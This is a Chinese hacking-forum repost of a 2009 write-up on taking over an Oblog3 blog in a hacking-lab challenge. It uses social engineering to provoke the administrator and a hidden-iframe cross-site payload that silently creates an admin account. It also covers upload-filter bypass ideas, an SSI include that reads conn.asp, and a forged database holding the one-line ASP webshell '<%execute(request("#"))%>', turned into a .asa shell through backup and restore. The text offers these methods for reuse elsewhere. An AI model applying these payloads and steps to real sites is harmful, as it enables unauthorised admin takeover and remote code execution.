找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 1242|回复: 1

截杀Session入后台拿Shell

  [复制链接]

735

主题

1102

回帖

3076

牛毛

二级牛人

积分
3096
QQ
发表于 2009-9-6 12:11:58 | 显示全部楼层 |阅读模式 来自 山东省威海市
截杀Session入后台拿Shell


作者:Andyower…    文章来源:邪恶八进制信息安全团队

注意:本文章已经在黑客防线9月发表,版权属于黑客防线和本人所有

在7月28日早上,偶就和好友天使娃娃拿到了WebShell,也许很多人会奇怪我们是怎么拿到的,其实这里也没什么高深的技术,大家都应该可以猜到,用的是跨站攻击。

在入侵任何网站的时候,最重要的是思路,只有思路正确了,才可以用最快的速度做自己想做的事情,偶和其他人一样,刚刚进第二关的时候,就开始试爆库,当所有的爆库方法都试完了,我就开始看Oblog3的代码,看完了一次以后,而且主要看的时候数据库连接代码,还有上传部分,注入方面漏洞方面,我几乎都没看,至于为什么呢?因为,你们想想,就算找到注入漏洞又能干什么呢?拿到md5密码?谁不知道wtf那个BT的家伙密码会有多BT啊!(wtf不要打偶)开100台计算机,挂个三年五年的,都不一定可以破解出来,所以说就算找到注入漏洞都没有什么意义,直接跳过去了。当看完一次代码,发现上传的地方和有关数据库的地方,都过滤得很严格,不可能有什么可利用的机会,这样子的话!只能会最后一招了,跨站攻击!结果成功了。



欺骗进入后台
读者应该会骂吧。那个wtf为什么不中自己的恶意代码,为什么偏偏会中偶Andyower的,其实嘛,这不是偏心不偏心的问题,我和天使娃娃能成功,完全是靠了社会工程学的缘故。也就是说,从wtf进实验室的网站开始,他的一举一动都是在我们的预料之下了。


先说说那个跨站漏洞,Oblog3有很多跨站漏洞,这就不用说了吧。可是真正要想跨站有利用价值,必须得让管理员登录后台,再登录网站,然后访问你发的有跨站漏洞的恶意帖子,这样,跨站代码才会发挥出他的威力,因为后台的验证,是完全靠SESSION。但是想想,这可能吗?实验室开了那么多回了,wtf也不会笨到明明知道网站上每一个帖子都会有陷阱,还去中,那是不可能的。wtf最多就会登录前台去看我们的帖子,可前台的权限非常的小,根本做不了什么,只能想办法让他放松警惕,在不知不觉中,进了后台,就上了当,还乐呵呵的。

现在要想的是,怎么让wtf去点自己的帖子,方法有很多,当偶刚刚把恶意跨站代码研究出来的时候,就和天使娃娃在考虑这个问题。第一,发很多乱七八招的帖子,比如说sex的,还有恐吓wtf的,同时,我们还考虑了一个问题,Oblog有前台管理管理员,前台管理员可以删除任何的帖子,如果我们这样发这些东西,wtf最多就把我们发的东西删除了,绝对逼不了他进后台,可是我们要的就是他先进后台,然后再从后台进前台,乖乖的点我们的含有恶意代码的帖子。现在要想的就是,怎么把wtf给激怒,但是要激怒他,就要做得有点绝,让他气得怎么要删除偶的账号,因为前台是根本没权限删除我们的账号,除非进后台。

法**大法,应该大家还有印象吧!其他的帖子请不到wtf,那么法**大法的帖子呢?偶马上注册了个用户名是Andyowen,blog名为"法**大法",为什么这样做,因为在首页里,看见别人发的帖子,署名都是用blog名,而不是用户名,想要通过blog名知道用户名,必须得点帖子进去看,才会知道。所以现在开始预想和猜测:而当wtf看见法**大法的帖子的时候,第一反应,就是气愤,第二反应,就是把这个用户删除,于是,一气愤之下,马上用当前的访问着首页的浏览器进入后台,进入了后台以后,才发现一个很严重的问题,找不到这个用户的名字,因为偶注册的名字是Andyowen,而他看见的却只是“法**大法”这个用户,这个时候,怎么办,又要进前台去看了,进入那个帖子,找到都的真正用户名,把偶删除。可是进前台又麻烦,经常上网的人一定知道一个快捷键Ctrl+n,这个快捷键的功能是,打开一个与当前浏览器一模一样的新的窗口(网址一样,就连SESSION都copy过来的)。于是,wtf就用新开的窗口进入首页,点击含有偶的恶意代码的帖子.....偶的恶意代码的功能,是创建一个用户名为:Andyower,密码为:111111的后台管理员。下面是具体代码:

<div>
<iframe id=Andyower height="0" width="0"  src="../../../../../../../blog/admin_admin.asp?username=Andyower&Password=111111&PwdConfirm=111111&Action=SaveAdd&Submit=+%CC%ED+%BC%D3+"></iframe>
</div>

但是都把这段代码稍微的加密了一下。

<div>
<iframe id=Andyower height="0" width="0"  src="../../../../../../../blog/admin_admin.asp?username=Andyower&Password=111111&PwdConfirm=111111&Action=SaveAdd&Submit=+%CC%ED+%BC%D3+">
</iframe>
</div>


因为这个时候,wtf的浏览器含有正确的SESSION,可以以上的代码是绝对可以实现的。在此想和读者说一下,因为偶发现很多人都是直接把恶意代码插到图片中,要不然就是用javascript,这个几乎是不可能实现的,第一,也就是前面所说的,wtf不可能先进后台再进前台然后去点你的帖子,第一点不成立。第二,哪怕wtf真的先进后台再进前台,去点你的帖子,而恶意代码放在图片中,又是显示出个x号,很明显就是个跨站代码,他是不可能会再去点。有的人用的是javascript,这个可以不用的最好要用,因为Windows XP 和Windows2003都有一个过滤的功能,为了防止有恶意的javascript,所以,遇到有脚本的网页,都会拦截下来。除非用户自己去点一下,让它执行,但这个不太现实。这也是为什么很多人没有实现跨站的一个原因吧。

当然了,前面的那一段wtf点偶的恶意代码,只是预想,但是八九不离十了,为了防止漏掉每一个机会,天使娃娃又发了很多含有恶意代码的帖子,那个时候已经快到早上了,睡觉吧,就等着第二天,进后台,再想办法提升权限。就等wtf乖乖的中我们的连环计,然后还会乐呵呵的说,终于又为民除了一害。高兴……

等偶睡醒的时候,已经12点,马上登录实验室的Oblog后台,用账号Andyower,密码:111111,登录。结果登录成功,虽然这是预料中的事情,但是还是很兴奋,马上打了个电话给天使娃娃,让他起床,然后一起想下一步怎么做。




偶不知道有哪个牛人先把数据库暴出来,并且下载(个人觉得不可能,因为偶得到WebShell才下载到数据库,就连得到后台的时候,都没办法下载)。但是本人一定是第一个成功进入添加管理员进入后台的。看序号就知道了,至于为什么,懂得SQL的人一定会知道。

拿WebShell的艰难路程
   
进入后台以后,我们也不慌了,第一个想到的,在数据库插入一句话木马,然后加入容错语句拿到WebShell,然后试了很多很多次,都没有成功,放弃这条路,都不知道wtf在数据库加了什么东西,而且以前我也没成功过。还有想把数据库保存成为其他格式也不可能,看下面的代码:


        fso.copyfile dbpath,bkfolder & "\" & bkdbname & ".asa"
        response.write "<center>备份数据库成功,备份的数据库为 " & bkfolder & "\" & bkdbname & ".asa</center>"
        Else
        response.write "<center>找不到源数据库文件,请检查inc/conn.asp中的配置。</center>"


备份成其他格式是不可能的,程序已经强制文件的后缀为asa。然后开始打上传图片的的主意,先看一下过滤后缀名的代码:


              FixName = Replace(FixName,Chr(0),"")        '  把 ASCII码的 0 给过滤,直接封杀了上传漏洞
              FixName = Replace(FixName,".","")              '  过滤  .              
              FixName = Replace(FixName,"'","")              '  过滤 '
              FixName = Replace(FixName,"asp","")          '  过滤  asp
              FixName = Replace(FixName,"asa","")          '  过滤   asa
              FixName = Replace(FixName,"aspx","")        '  过滤   aspx
              FixName = Replace(FixName,"cer","")           '  过滤   cer
              FixName = Replace(FixName,"cdx","")          '  过滤   cdx
              FixName = Replace(FixName,"htr","")           '  过滤   htr
              FixName = Replace(FixName,"shtml","")       '  过滤    shtml


过滤得蛮BT的,而且这还不算,下面还有最后的把关:


              If FileExt="asp" or FileExt="asa" or FileExt="aspx" or FileExt="shtml" Then
                     CheckFileExt = False
                     Exit Function


当初想过用种方法来欺骗程序,结果,显示是显示上传成功了,但是实际上没有上传到,至于原因。偶没有仔细去看。欺骗方法也说一下,也许以后会有用的地方: 在后台那添加类型 cer|ccerer,添加多这两种类型,关于ccerer这种方法,以前有人提出来过,偶也来说说。

如果只是添加ccerer这种类型,然后把1.ccerer进行上传,看代码:

FixName = Replace(FixName,"cer","")

这个时候因为1.ccerer中的后缀包含有cer,所以会被过滤,也就变成了1.cer,接着程序会把当前的文件的后缀和允许的后缀进行比较,如果存在,就上传成功,如果不存在,上传失败,假设不添加多一个cer类型是不可能成功的,因为根本过不了最后的验证那关。

接着,马上又打起shtm还有stm后缀的的主意,因为shtm还有stm和shtml是一样的,都是由ssinc.dll来解析,只要加入代码:

<!--#include file="../../../../../../../../../../../blog/conn.asp"-->


就可以直接把conn.asp文件的内容显示出来了, 不过要右键查看源代码才可以看见。开始在后台添加类型 shtm|stm,上传的时候,也是显示成功,但是访问却访问不了,说文件不存在,顿时心马上凉了。被杀是不可能的,莫非是Windows2003的IIS6吗?因为IIS6如果不开启未知cgi后缀解析,显示的就是出现文件不存在!马上拿出扫描器一顿狂扫,发现开了3389,登录去看看到底是什么系统,没有错就是Windows2003,接着偶马上又把所有用aspnet_isapi.dll解析的后缀全部上传测试一次,全部都不能解析!文件的确是已经成功的上传,但是由于IIS6的安全机制,加上wtf那个BT的家伙的设置,完全封杀了一般经常用的上传WebShell的方法。
   


绝处逢生

在我非常的郁闷的时候,脑子闪过无数的办法,但是一样样都被否定了。这时天使娃娃给我发条消息说:“往数据库里面插木马呀!”这个办法我早就试过了,但是能实现,突然灵光一闪!数据库不是不能下载吗?也不能插马!就是因为备份后缀是asa,而且数据库做了防下载的处理!默认的Oblog3的初始化数据库里面做了防下载的处理。但是我可以伪造!伪造一个数据库。伪造的数据库里有偶的一句话木马,然后上传,备份数据库,恢复数据库,再备份数据库,再恢复数据库,是不是头晕啦,没事,偶会好好解释一下的。

为了防止伪造的数据库文件上传了以后,在恢复数据库的时候不能用,所以必须得用真正的数据库,也就是Oblog3.mdb文件,偶把Oblog3的程序全部下载回来,然后找到Oblog3.mdb文件,用WinHex打开,或者其他的16进制编辑器打开都可以,查找所有的 "<%" ,因为不能下载就是这个在搞鬼,让数据库文件当成了asp解析。结果在数据库中查找到一句 "<%loop%>" ,难怪会不能下载,就是他了。用 一句话木马来替换了 "<%execute(request("#"))%>"。替换完了以后,再查找,发现已经没有"<%"和"%>",马上通过相册上传,结果没有上传成功,因为数据库文件太大,900k,用了各种数据库压缩的办法都不能把他压缩,实在没办法了,我来帮他减肥,把里面所有的表全部删除,就留下Oblog_admin表,因为进后台要到的功能也就是备份数据库,还有验证管理员密码功能,其他的根本用不到。

把其他字段都删除了以后,再用数据库压缩工具再压缩一次,因为数据库内容改变,无论是删除还修改,大小都不会变的,它只有变大,不会变小。压缩完了以后,才100多k,把名字改成1.gif,马上到相册那上传,上传成功,得到文件在服务器的路径是"user1\23\upload\20057246452.gif",把路径记录一下。等一下要用的。再进入后台,备份数据库,因为当前的目录都不能写,就写到刚刚的那个目录吧,开始备份,得到路径:"user1\15\upload\1.asa",然后,恢复数据库,恢复的路径文件为:"user1\23\upload\20057246452.gif",这个文件是我上传上去的,绝对没有问题,可以进后台,但是这个时候,网站进不去,因为其他的表我都删除了,他们访问的时候当然会出错了,所以这就是为什么我选择凌晨3点多的时候才弄,就是怕影响到其他的人。虽然过程只有短短不到1分钟的时间。恢复完数据库以后,要求重新登录,当然了,因为我上传的那个数据库和原来的数据库密码不同,我用的是默认数据库,账号:admin,密码:admin888,登录进去以后,到了关键的地方了,当时我的手都抖了,读者要应该知道,现在偶登录的后台,用的数据库,是偶上传的那个被修改过的,并且含有一句话的asp木马。

找到备份数据库,备份到:"user1\23\upload\Andyower.asa",现在"user1\23\upload\Andyower.asa"就是我们的ASP木马了,现在的任务是马上恢复好以前的东西,被发现了可不好呢,再选择恢复数据库的路径:"user1\15\upload\1.asa",OK!一切正常了。才短短不到一分钟的时间,就搞定了,马上用客户端连接上去这个文件"user1\23\upload\Andyower.asa",成功!拿到WebShell!

这就是偶和天使娃娃拿下WebShell的全部过程,技术不怎么样,但是我们的骗人技术可是一流的!社会过程学的成功运用,wtf呀wtf又被骗啦!哈哈!还有后台上传WebShell的思路,可以用在很多的地方,当山穷水尽的时候,可以试一下。

0

主题

1

回帖

6

牛毛

初生牛犊

积分
7
发表于 2012-6-19 22:29:27 | 显示全部楼层 来自 重庆市
可以加我936****1303交流?
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-25 01:51 , Processed in 0.450523 second(s), 37 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表